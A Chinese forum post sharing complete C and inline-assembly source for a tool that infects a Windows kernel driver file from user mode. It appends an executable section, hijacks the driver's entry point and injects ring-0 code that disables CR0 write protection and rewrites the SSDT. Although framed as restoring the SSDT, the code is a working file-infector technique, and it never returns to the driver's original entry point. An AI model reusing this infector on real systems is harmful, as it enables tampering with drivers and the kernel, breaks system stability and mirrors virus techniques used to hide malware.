ring3下感染驱动文件,定位内核导出函数,恢复ssdt。。。。。。。
完整代码:
代码:
#include <windows.h> #include <stdio.h> #include <assert.h> #define SECTION_SIZE 0x1000 #define SECTION_NAME ".ssdt" typedef struct { WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) typedef LONG NTSTATUS; DWORD ssdt[284]={0}; typedef NTSTATUS (CALLBACK* NTQUERYSYSTEMINFORMATION)( DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11 ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; }SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION; typedef struct { DWORD dwNumberOfModules; SYSTEM_MODULE_INFORMATION smi; } MODULES, *PMODULES; #define SystemModuleInformation 11 NTQUERYSYSTEMINFORMATION NtQuerySystemInformation ; int Align(int size, int ALIGN_BASE) { int ret; int result; assert( 0 != ALIGN_BASE ); result = size % ALIGN_BASE; if (0 != result) { ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE; } else { ret = size; } return ret; } //增加一个节 BOOL AddSection(char *fileName) { IMAGE_DOS_HEADER *dosHeader; IMAGE_NT_HEADERS *ntHeader; IMAGE_SECTION_HEADER *sectionHeader; IMAGE_SECTION_HEADER *newSectionHeader; IMAGE_SECTION_HEADER *lastSectionHeader; int numOfSections; int FILE_ALIGN_MENT; int SECTION_ALIGN_MENT; HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("CreateFile Failed\n"); return FALSE; } HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL); if(hMap==INVALID_HANDLE_VALUE) { printf("CreateFileMapping Failed\n"); return FALSE; } LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0); if(lpBase==NULL) { printf("MapViewOfFile Failed\n"); return FALSE; } dosHeader=(IMAGE_DOS_HEADER*)lpBase; if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { printf("This is not a windows file\n"); return FALSE; } ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew); if(ntHeader->Signature!=IMAGE_NT_SIGNATURE) { printf("This is not a win32 file\n"); return FALSE; } FILE_ALIGN_MENT=ntHeader->OptionalHeader.FileAlignment; SECTION_ALIGN_MENT=ntHeader->OptionalHeader.SectionAlignment; numOfSections=ntHeader->FileHeader.NumberOfSections; ntHeader->FileHeader.NumberOfSections++; sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS)); lastSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections-1]; newSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections]; memset(newSectionHeader,0,sizeof(IMAGE_SECTION_HEADER)); strncpy((char*)newSectionHeader->Name,SECTION_NAME,strlen(SECTION_NAME)); newSectionHeader->VirtualAddress=Align(lastSectionHeader->VirtualAddress+lastSectionHeader->Misc.VirtualSize,SECTION_ALIGN_MENT); ntHeader->OptionalHeader.AddressOfEntryPoint=newSectionHeader->VirtualAddress; newSectionHeader->Misc.VirtualSize=Align(3000,SECTION_ALIGN_MENT); newSectionHeader->PointerToRawData=Align(lastSectionHeader->PointerToRawData+lastSectionHeader->SizeOfRawData,FILE_ALIGN_MENT); newSectionHeader->SizeOfRawData=Align(SECTION_SIZE, FILE_ALIGN_MENT); newSectionHeader->Characteristics=0xE0000020; ntHeader->OptionalHeader.SizeOfCode=Align(ntHeader->OptionalHeader.SizeOfCode+SECTION_SIZE, FILE_ALIGN_MENT); ntHeader->OptionalHeader.SizeOfImage=ntHeader->OptionalHeader.SizeOfImage+Align(SECTION_SIZE, SECTION_ALIGN_MENT); FlushViewOfFile(lpBase,0); UnmapViewOfFile(lpBase); CloseHandle(hMap); if(SetFilePointer(hFile,SECTION_SIZE,NULL,FILE_END)==-1) { printf("SetFilePointer failed\n"); return FALSE; } if(!SetEndOfFile(hFile)) { printf("SetEndOfFile failed\n"); return FALSE; } CloseHandle(hFile); return TRUE; } #define KernelBase 0x4 #define AddressOfFunctions 0x8 #define AddressOfNames 0xc #define AddressOfNameOrdinals 0x10 #define KeServiceDescriptorTable 0x4 #define DbgPrint 0x8 #define PrintString 0xc #define oldssdt 0x10 static __declspec(naked)void DriverEntry() { _asm { push ebp; mov ebp,esp; sub esp,80h; mov eax,[ebp+08h]; mov ebx,[eax+0ch];//DriverStart mov eax,[eax+10h];//DriverSize add ebx,eax; sub ebx,0x1000; //ebx查找的起始地址 xor eax,eax; //eax查找偏移 //查找函数字符串 SeachKeServiceDescriptorTable: cmp dword ptr[ebx+eax],0xffffffff; jnz aKeServiceDescriptorTable; mov ecx,ebx; add ecx,eax; add ecx,4; mov [ebp-KeServiceDescriptorTable],ecx; //KeServiceDescriptorTable add eax,4; SeachDbgPrint: cmp dword ptr[ebx+eax],0xfffffffe; jnz aDbgPrint; mov ecx,ebx; add ecx,eax; add ecx,4; mov [ebp-DbgPrint],ecx; //DbgPrint add eax,4; //查找输出字符串 Seachxxx: cmp dword ptr[ebx+eax],0xfffffffd; jnz aSeachxxx; mov ecx,ebx; add ecx,eax; add ecx,4; mov [ebp-PrintString],ecx; //查找old ssdt seachSsdt: cmp dword ptr[ebx+eax],0xfffffffc; jnz aseachSsdt; mov ecx,ebx; add ecx,eax; add ecx,4; mov [ebp-oldssdt],ecx; push [ebp-KeServiceDescriptorTable]; //得到KeServiceDescriptorTable地址 call GetFunctionAddress; cmp eax,0; jz DriverEntryEnd; mov [ebp-KeServiceDescriptorTable],eax; push [ebp-DbgPrint]; //得到DbgPrint函数地址 call GetFunctionAddress; cmp eax,0; jz DriverEntryEnd; mov [ebp-DbgPrint],eax; push [ebp-PrintString]; //调用DbgPrint输出信息 call [ebp-DbgPrint];//输处信息 //通过_KPCR结构得到kernelBase push 30h pop fs; mov ecx,dword ptr fs:[34h]; mov ecx ,[ecx+10h]; push ecx; push [ebp-oldssdt]; mov ebx,[ebp-KeServiceDescriptorTable]; mov ebx,[ebx]; push ebx; CLI ; MOV EAX, CR0 ; AND EAX, NOT 10000H ; MOV CR0, EAX; //恢复ssdt call RsetSSdt; MOV EAX, CR0; OR EAX, 10000H; MOV CR0, EAX ; STI; DriverEntryEnd: xor eax,eax; xor ebx,ebx; mov esp,ebp; pop ebp; retn 8; aKeServiceDescriptorTable: inc eax; cmp eax,0x1000; jb SeachKeServiceDescriptorTable; jmp DriverEntryEnd; aDbgPrint: inc eax; cmp eax,0x1000; jb SeachDbgPrint; jmp DriverEntryEnd; aSeachxxx: inc eax; cmp eax,0x1000; jb Seachxxx; jmp DriverEntryEnd; aseachSsdt: inc eax; cmp eax,0x1000; jb seachSsdt; jmp DriverEntryEnd; //恢复ssdt函数 RsetSSdt: push ebp; mov ebp,esp; mov esi,[ebp+08h]; //now ssdt mov edx,[ebp+0ch]; //old ssdt xor eax,eax; start: mov ecx,eax; shl ecx,2; mov ebx,[edx+ecx]; add ebx,[ebp+10h];//kernelBase cmp ebx,[esi+ecx]; jnz set; inc eax; cmp eax,284; jb start; jmp RsetSSdtEnd; set: mov [esi+ecx],ebx; inc eax; cmp eax,284; jb start; RsetSSdtEnd: mov esp,ebp; pop ebp; ret 0ch; //遍历内核导出表,得到函数地址函数 GetFunctionAddress: push ebp; mov ebp,esp; sub esp,0x80; push 30h pop fs mov ecx,dword ptr fs:[34h]; mov ecx ,[ecx+10h]; mov [ebp-KernelBase],ecx; //[ebp-04h]==kernelBase mov eax,[ecx]IMAGE_DOS_HEADER.e_lfanew; add eax,[ebp-KernelBase]; //eax=ntheader的地址 mov eax,[eax]IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; add eax,[ebp-KernelBase]; //eax=导出表地址 mov ebx,[eax+1ch]; add ebx,[ebp-KernelBase]; //ebx=AddressOfFunctions mov [ebp-AddressOfFunctions],ebx;//[ebp-08h]保存AddressOfFunctions mov ebx,[eax+20h]; add ebx,[ebp-KernelBase]; mov [ebp-AddressOfNames],ebx;//[ebp-0ch]保存AddressOfNames; mov ebx,[eax+24h]; add ebx,[ebp-KernelBase]; mov [ebp-AddressOfNameOrdinals],ebx; mov esi,[eax+18h];//esi=NumberOfNames mov [ebp-14h],esi; mov edx, [ebp-AddressOfNames];//edx=AddressOfNames xor ecx,ecx; xor esi,esi; seach: mov ecx,esi; shl ecx,2; add ecx,edx; mov ecx ,[ecx]; add ecx,[ebp-KernelBase]; push ecx; push [ebp+08h]; call CmpString; cmp eax,0; jz v1; jmp find v1: inc esi; dec dword ptr[ebp-14h]; jnz seach xor eax,eax EndGetFunctionAddress: mov esp,ebp; pop ebp; ret 4; find: shl esi,1; mov ebx,[ebp-AddressOfNameOrdinals]; add ebx,esi; xor ecx,ecx; mov cx,word ptr[ebx]; shl ecx,2; mov ebx ,[ebp-AddressOfFunctions]; add ebx,ecx; mov eax, [ebx]; add eax,[ebp-KernelBase]; jmp EndGetFunctionAddress; //字符串比较函数 CmpString: push ebp; mov ebp,esp; pushad; pushfd; mov eax,[ebp+08h]; mov ebx,[ebp+0ch]; xor ecx,ecx; xor esi,esi; cmpstr: mov dl,byte ptr[eax+esi]; cmp dl,0h; jz same; mov ecx,esi; inc esi; cmp byte ptr[ebx+ecx],dl; jz cmpstr; popfd; popad; xor eax,eax; jmp CmpStringEnd; same: popfd; popad; mov eax,1; CmpStringEnd: mov esp,ebp; pop ebp; ret 8; } } static __declspec(naked) Ring0CodeEnd() { _asm ret; } BOOL GetNtQuerySystemInformation() { NtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)GetProcAddress(::GetModuleHandle("ntdll"),"NtQuerySystemInformation"); if(NtQuerySystemInformation==NULL) return FALSE; return true; } BOOL GetKiServiceTable(HMODULE hModule,DWORD dwKSDT) { PDWORD pService; DWORD dwKiServiceTable; PIMAGE_OPTIONAL_HEADER poh; IMAGE_DOS_HEADER *dosHeader; IMAGE_NT_HEADERS *ntHeader; PIMAGE_BASE_RELOCATION pbr; PIMAGE_FIXUP_ENTRY pfe; DWORD dwPointer; DWORD point; dosHeader=(IMAGE_DOS_HEADER*)hModule; if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { printf("This is not a windows file\n"); return FALSE; } ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew); if(ntHeader->Signature!=IMAGE_NT_SIGNATURE) { printf("This is not a win32 file\n"); return FALSE; } poh=(PIMAGE_OPTIONAL_HEADER)((DWORD)ntHeader+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER)); pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule); pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); BOOL bFirstChunk=TRUE; while(bFirstChunk||pbr->VirtualAddress) { bFirstChunk=FALSE; for (DWORD i=0;((pbr->SizeOfBlock-8)/2)>i;i++) { if(pfe->type==IMAGE_REL_BASED_HIGHLOW) { dwPointer=pbr->VirtualAddress+pfe->offset; point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase; if(point==dwKSDT) { if(*(PWORD)(dwPointer+(DWORD)hModule-2)==0x05c7) { dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase; DWORD i=0; for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable); *pService-ntHeader->OptionalHeader.ImageBase<ntHeader->OptionalHeader.ImageBase; pService++,i++) { ssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase; } } } } pfe++; } pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock); pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); } return TRUE; } //得到原始的ssdt BOOL GetOldSsdt() { HMODULE hModule; DWORD dwKSDT; DWORD dwNeededSize,rc; PMODULES pModules=(PMODULES)&pModules; PCHAR pKernelName; if(!GetNtQuerySystemInformation()) { printf("get NtQuerySystemInformation failed \n"); return FALSE; } rc=NtQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize); if (rc==STATUS_INFO_LENGTH_MISMATCH) { pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize); rc=NtQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL); } else { strange: printf("strange NtQuerySystemInformation()!\n"); return FALSE; } if (!NT_SUCCESS(rc)) goto strange; pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName; hModule=LoadLibraryEx(pKernelName,NULL,DONT_RESOLVE_DLL_REFERENCES); if(hModule==NULL) { printf("load ntkrnlpa.exe failed\n"); return FALSE; } dwKSDT=(DWORD)GetProcAddress(hModule,"KeServiceDescriptorTable"); if(dwKSDT==NULL) { printf("get KeServiceDescriptorTable failed"); return FALSE; } dwKSDT=dwKSDT-(DWORD)hModule; if(!GetKiServiceTable(hModule,dwKSDT)) { printf("get ssdt failed\n"); return FALSE; } return TRUE; } //得到DriverEntry数据 PVOID GetCode(DWORD *codeSize) { *codeSize=(DWORD)Ring0CodeEnd-(DWORD)DriverEntry; // printf("codeSize:%X\n",*codeSize); PVOID code=malloc(*codeSize); memcpy(code,(PVOID)DriverEntry,*codeSize); return code; } //把数据写入新节 BOOL WriteCodeToFile(char *fileName,PVOID code,DWORD codeSize) { IMAGE_SECTION_HEADER *sectionHeader; IMAGE_SECTION_HEADER *lastSectionHeader; HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("CreateFile Failed\n"); return FALSE; } HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL); if(hMap==INVALID_HANDLE_VALUE) { printf("CreateFileMapping Failed\n"); return FALSE; } LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0); if(lpBase==NULL) { printf("MapViewOfFile Failed\n"); return FALSE; } IMAGE_DOS_HEADER *dosHeader; IMAGE_NT_HEADERS *ntHeader; dosHeader=(IMAGE_DOS_HEADER*)lpBase; if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { printf("This is not a windows file\n"); return FALSE; } ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew); if(ntHeader->Signature!=IMAGE_NT_SIGNATURE) { printf("This is not a win32 file\n"); return FALSE; } int numOfSections=ntHeader->FileHeader.NumberOfSections; sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS)); lastSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections-1]; DWORD codeAddress=lastSectionHeader->PointerToRawData+(DWORD)lpBase; memset((PVOID)codeAddress,0,SECTION_SIZE); memcpy((PVOID)codeAddress,code,codeSize); DWORD strAddress=codeAddress+codeSize+100; *(DWORD*)strAddress=0xffffffff; strAddress+=4; strcpy((char*)strAddress,"KeServiceDescriptorTable"); strAddress=strAddress+strlen("KeServiceDescriptorTable")+10; *(DWORD*)strAddress=0xfffffffe; strAddress+=4; strcpy((char*)strAddress,"DbgPrint"); strAddress=strAddress+strlen("DbgPrint")+10; *(DWORD*)strAddress=0xfffffffd; strAddress+=4; strcpy((char*)strAddress,"just for fun-----xiao ji ji\n"); strAddress=strAddress+strlen("just for fun-----xiao ji ji\n")+10; *(DWORD*)strAddress=0xfffffffc; strAddress+=4; memcpy((PVOID)strAddress,ssdt,284*4); FlushViewOfFile(lpBase,0); UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return TRUE; } USHORT ChkSum( ULONG PartialSum, PUSHORT Source, ULONG Length ) { while (Length--) { PartialSum += *Source++; PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff); } return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff); } //计算校验和 BOOL CountCheckSum(char *fileName) { DWORD buffSize; PWORD AdjustSum; HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("CreateFile Failed\n"); return FALSE; } buffSize=GetFileSize(hFile,NULL); HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL); if(hMap==INVALID_HANDLE_VALUE) { printf("CreateFileMapping Failed\n"); return FALSE; } LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0); if(lpBase==NULL) { printf("MapViewOfFile Failed\n"); return FALSE; } USHORT PartialSum; PIMAGE_NT_HEADERS32 ntHeader; PIMAGE_DOS_HEADER dosHeader; PartialSum = ChkSum(0, (PUSHORT)lpBase, (buffSize + 1) >> 1); dosHeader=(PIMAGE_DOS_HEADER)lpBase; ntHeader=(PIMAGE_NT_HEADERS32)(dosHeader->e_lfanew+(DWORD)lpBase); if(ntHeader->OptionalHeader.Magic == 0x10B) { AdjustSum = (PUSHORT)(&((PIMAGE_NT_HEADERS32)ntHeader)->OptionalHeader.CheckSum); PartialSum -= (PartialSum < AdjustSum[0]); PartialSum -= AdjustSum[0]; PartialSum -= (PartialSum < AdjustSum[1]); PartialSum -= AdjustSum[1]; } ntHeader->OptionalHeader.CheckSum=(DWORD)PartialSum+buffSize; FlushViewOfFile(lpBase,0); UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return TRUE; } int main(int argc, char* argv[]) { char fileName[MAX_PATH]; strcpy(fileName,argv[1]); if(!AddSection(fileName)) { printf("Add Section failed\n"); return 0; } DWORD codeSize; PVOID code=GetCode(&codeSize); if(code==NULL) { printf("get code failed\n"); return 0; } if(!GetOldSsdt()) { printf("get old ssdt failed\n"); return 0; } if(!WriteCodeToFile(fileName,code,codeSize)) { printf("write code to file failed\n"); return 0; } if(!CountCheckSum(fileName)) { printf("count checksum failed\n"); return 0; } printf("Infect driver file successed\n"); return 0; }
加个调用门之类的,应该效果会更好。。ring3程序能更好的控制ssdt的恢复。。。

bin: